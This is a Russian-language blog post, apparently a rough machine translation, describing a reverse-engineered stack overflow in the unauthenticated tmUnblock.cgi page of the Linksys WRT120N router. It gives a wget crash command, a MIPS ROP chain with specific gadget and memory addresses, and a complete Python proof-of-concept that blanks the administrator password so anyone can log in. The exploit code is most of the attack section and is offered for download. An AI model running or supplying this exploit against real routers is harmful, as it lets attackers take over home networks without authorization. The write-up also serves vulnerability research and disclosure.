После того как мы получил расшифрованную прошивку И JTAG-доступ к устройству , пришло время проверить код на наличие интересных ошибок.
Как мы узнали ранее, WRT120N работает на RTOS. В целях безопасности административный WEB-интерфейс RTOS использует базовую аутентификацию HTTP:
Большинство страниц требуют аутентификации, но есть несколько страниц, которые явно запрещают это:
Любой запрос к этим URL-адресам будет выполняться без аутентификации, поэтому это хорошее место для поиска ошибок.
Некоторые из этих страниц на самом деле не существуют, другие существуют, но ничего не делают (функции NULL).
Однако страница /cgi/tmUnBlock.cgi имеет своего рода обработчик, обрабатывающий пользовательские данные:
Интересный фрагмент кода, который стоит рассмотреть:
Хотя на первый взгляд выглядит прилично, обработка параметра TM_Block_URL POST-запрос уязвим из-за ошибки в реализации.fprintf(request->socket, "Location %s\n\n", GetWebParam(cgi_handle, "TM_Block_URL"));
fprintf :
Да, fprintf причины vsprintf с форматом и аргументами и поместите его в локальный буфер размером 256 байт.
Уважать себя.
Не используйте спринтф.
Это означает, что параметр POST TM_Block_URL вызовет переполнение стека в fprintf , если он больше 246 байт (sizeof(buf) – strlen("Location: ")): $ wget --post-data="period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print "A"x254')" http://192.168.1.1/cgi-bin/tmUnBlock.cgi
Падение стека
Давайте сделаем простой эксплойт, который перезапишет важные данные в памяти, например пароль администратора, который находится по адресу 0x81544AF0:
Пароль администратора представляет собой стандартную строку, завершающуюся NULL, поэтому, если мы сможем записать в адрес всего один NULL-байт, то мы сможем войти в маршрутизатор с пустым паролем.
Нам необходимо убедиться, что система продолжает нормально функционировать после эксплойта.
Если вы посмотрите на конец функции fprintf , мы видим, что регистры $ra и $s0 восстанавливаются из стека, а это значит, что мы можем манипулировать этими регистрами при переполнении стека:
Существует также отличный фрагмент кода по адресу 0x8031F634, который записывает 4 NULL-байта из нулевого регистра $ по адресу в регистре $s0.
Если мы используем переполнение, чтобы fprintf вернулся к 0x8031F634 и перезаписал $s0 адресом пароля администратора (0x81544AF0), тогда этот код выполнит следующее:
- Сброс пароля администратора
- Вернется на обратный адрес из стека (а стек мы управляем)
- Добавит 16 к указателю стека
Нам нужно, чтобы система продолжала работать и не падала, но если мы просто вернемся к функции cgi_tmUnBlock Как fprintf и так оно и будет, мы получим смещение стека в 16 байт. Найти пригодный для использования гаджет MIPS ROP, который уменьшает указатель стека на 16 байт, может быть проблематично, поэтому мы пойдем другим путем.
Если вы посмотрите на адрес, где fprintf пришлось вернуться в cgi_tmUnblock , мы видим, что все, что он там делает, это восстанавливает $ra, $s1 и $s0 из стека, затем возвращается и добавляет 0x60 к указателю стека:
Конечно, нет гаджетов, которые бы делали именно это, но есть хороший по адресу 0x803471B8, который очень похож:
Этот гаджет добавляет в стек только 0x10, но это не проблема.
Сделаем дополнительные кадры стека, которые заставят гаджет ROP вернуться в себя 5 раз.
На пятой итерации исходные значения $ra, $s1 и $s0, которые мы передали в cgi_tmUnblock , будет восстановлен из стека, и наш ROP-гаджет вернется к вызывающей стороне cgi_tmUnblock :
При правильных значениях в стеке и регистрах система продолжит работать как ни в чем не бывало.
Вот PoC ( скачать ): import sys
import urllib2
try:
target = sys.argv[1]
except IndexError:
print "Usage: %s <target ip>" % sys.argv[0]
sys.exit(1)
url = target + '/cgi-bin/tmUnblock.cgi'
if '://' not in url:
url = 'http://' + url
post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL="
post_data += "B" * 246 # Filler
post_data += "\x81\x54\x4A\xF0" # $s0, address of admin password in memory
post_data += "\x80\x31\xF6\x34" # $ra
post_data += "C" * 0x28 # Stack filler
post_data += "D" * 4 # ROP 1 $s0, don't care
post_data += "\x80\x34\x71\xB8" # ROP 1 $ra (address of ROP 2)
post_data += "E" * 8 # Stack filler
for i in range(0, 4):
post_data += "F" * 4 # ROP 2 $s0, don't care
post_data += "G" * 4 # ROP 2 $s1, don't care
post_data += "\x80\x34\x71\xB8" # ROP 2 $ra (address of itself)
post_data += "H" * (4-(3*(i/3))) # Stack filler; needs to be 4 bytes except for the
# last stack frame where it needs to be 1 byte (to
# account for the trailing "\n\n" and terminating
# NULL byte)
try:
req = urllib2.Request(url, post_data)
res = urllib2.urlopen(req)
except urllib2.HTTPError as e:
if e.code == 500:
print "OK"
else:
print "Received unexpected server response:", str(e)
except KeyboardInterrupt:
pass
Исполнение кода тоже возможно, но об этом в другой раз.
Теги: #переполнение стека #обратное проектирование #linksys wrt120n #информационная безопасность #обратное проектирование
-
Лифт
19 Oct, 24 -
Tesla Model S: Взгляд Поближе
19 Oct, 24 -
Бот Прогноза Погоды Telegram В Java Spring
19 Oct, 24 -
Интересный Вид На Улицу
19 Oct, 24 -
Из Блокнота Мистера Томпкинса
19 Oct, 24